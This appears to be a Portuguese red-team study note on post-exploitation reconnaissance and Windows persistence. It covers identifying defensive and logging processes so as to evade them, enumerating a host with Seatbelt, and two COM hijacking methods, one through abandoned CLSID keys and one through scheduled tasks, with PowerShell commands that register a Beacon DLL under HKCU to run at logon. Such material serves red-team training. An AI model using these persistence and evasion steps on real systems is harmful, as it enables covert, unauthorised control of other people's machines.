Reconnaissance (Pós-Exploração)

Após termos controle de uma determinada máquina, devemos ter cuidado e analisar o ambiente para identificarmos quais os mecanismos de defesa e logs estão ativos.

Defence in Depth = Conceito pelo qual múltiplas camadas (independentes) de controles de segurança são colocadas em um sistema ou ambiente - a intenção é fornecer um nível de redundância para que, no caso de uma falha, outras permaneçam. Devemos estar preparados para contornar múltiplas camadas de segurança

Offence in Depth = Conceito semelhante para os Red Teamers. As informações coletadas aqui devem ser usadas para moldar as ações que você realiza ou as táticas que emprega. Por exemplo - se você tiver um script PowerShell favorito que execute "X", mas o log do PowerShell estiver habilitado, talvez seja necessário evitar executar "X" ou encontrar um meio alternativo de fazê-lo (por exemplo, .NET em vez de PowerShell). Bons engenheiros ofensivos terão múltiplas ferramentas ou metodologias para alcançar o mesmo resultado.

No Beacon da máquina, utilize o ps para verificar quais processos estão em execução. Fique atento para analisar o AV e processos como Sysmon64, MsMpEng, elastic-endpoint, elastic-agent, etc., que podem ser indicativos de monitoração.

Seatbelt é uma ferramenta C# que coleta automaticamente dados de enumeração para um host. Ele pode verificar configurações de segurança, como informações do sistema operacional, AV, AppLocker, LAPS, registro do PowerShell, políticas de auditoria, versões .NET, regras de firewall e muito mais.

.\Seatbelt.exe -group=system

COM Hijacks

Maneira 1

Esse tipo de ataque consiste em localizar instâncias de aplicativos que tentam carregar objetos que na verdade não existem, porque suas chaves foram abandonadas. Para isso, é necessário executar o Process Monitor da (SysInternals Suite) e fazer o seguinte filtro: * Operations is RegOpenKey * Result is NAME NOT FOUND * Path ends with InprocServer32

Para acelerar a coleta de dados, clique em coisas aleatórias, entra no menu do Windows, inicia aplicativos, etc. Agora precisamos analisar o número de vezes que o CLSID é carregado. E preciso sequestrar um que tenha frequencia, porém em um ritmo que não seja muito rápido, como um aplicativo do tipo Word, Excel, Notepad, etc. Por questões de exemplo, irei utilizar aqui o CLSID C:\Windows\System32\DllHost.exe. O arquivo DllHost.exe está visível na coluna Process Name. Então vamos copiar o seu path que no caso é HKCU\Software\Classes\CLSID\{AB8902B4-09CA-4bb6-B78D-A8F59079A8D5}\InProcServer32. Então no powershell, nós verificamos que ele existe em HKLM, mas não em HKCU.

# Chave existe
Get-Item -Path "HKLM:\Software\Classes\CLSID\{AB8902B4-09CA-4bb6-B78D-A8F59079A8D5}\InprocServer32"

# Chave não existe
Get-Item -Path "HKCU:\Software\Classes\CLSID\{AB8902B4-09CA-4bb6-B78D-A8F59079A8D5}\InprocServer32"

Para explorar isso, devemos criar as entradas de registro necessárias no HKCU e apontá-las para uma DLL Beacon.

# Criando uma nova chave
New-Item -Path "HKCU:Software\Classes\CLSID" -Name "{AB8902B4-09CA-4bb6-B78D-A8F59079A8D5}"
New-Item -Path "HKCU:Software\Classes\CLSID\{AB8902B4-09CA-4bb6-B78D-A8F59079A8D5}" -Name "InprocServer32" -Value "C:\path\to\http_x64.dll"
New-ItemProperty -Path "HKCU:Software\Classes\CLSID\{AB8902B4-09CA-4bb6-B78D-A8F59079A8D5}\InprocServer32" -Name "ThreadingModel" -Value "Both"

Para limpar um sequestro de COM, basta remover as entradas de registro do HKCU e excluir a DLL

Maneira 2

Outro ótimo lugar para procurar componentes COM sequestráveis é no Agendador de Tarefas. Em vez de executar binários no disco, muitas das tarefas padrão do Windows usam Custom Triggers (Gatilhos Personalizados) para chamar objetos COM. E como são executados através do Agendador de Tarefas, é mais fácil prever quando serão acionados. Podemos usar o seguinte PowerShell para encontrar tarefas compatíveis:

$Tasks = Get-ScheduledTask
foreach ($Task in $Tasks)
{
  if ($Task.Actions.ClassId -ne $null)
  {
    if ($Task.Triggers.Enabled -eq $true)
    {
      if ($Task.Principal.GroupId -eq "Users")
      {
        Write-Host "Task Name: " $Task.TaskName
        Write-Host "Task Path: " $Task.TaskPath
        Write-Host "CLSID: " $Task.Actions.ClassId
        Write-Host
      }
    }
  }
}

Ao executarmos o comando acima, é sempre bom vermos se o MsCtfMonitor está na lista, pois ele sempre é executado quando algum usuários faz login na máquina. Execute o comando abaixo para pesquisar a sua chave:

Get-ChildItem -Path "Registry::HKCR\CLSID\{01575CFE-9A55-4003-A5E1-F38D1EBDCBE1}"

Podemos ver que é outro InprocServer32 e podemos verificar se ele está atualmente implementado em HKLM e não em HKCU, como fizemos anteriormente.

Get-Item -Path "HKLM:Software\Classes\CLSID\{01575CFE-9A55-4003-A5E1-F38D1EBDCBE1}"

Get-Item -Path "HKCU:Software\Classes\CLSID\{01575CFE-9A55-4003-A5E1-F38D1EBDCBE1}"

Caso esteja em HKLM e não em HKCU, como no exemplo anterior, podemos realizar a injeção de DLL, conforme mostrado acima. Após isso, é só esperar algum usuário fazer login para que a DLL Beacon seja executada.

Sites

# SeatBelt
https://github.com/GhostPack/Seatbelt

Last updated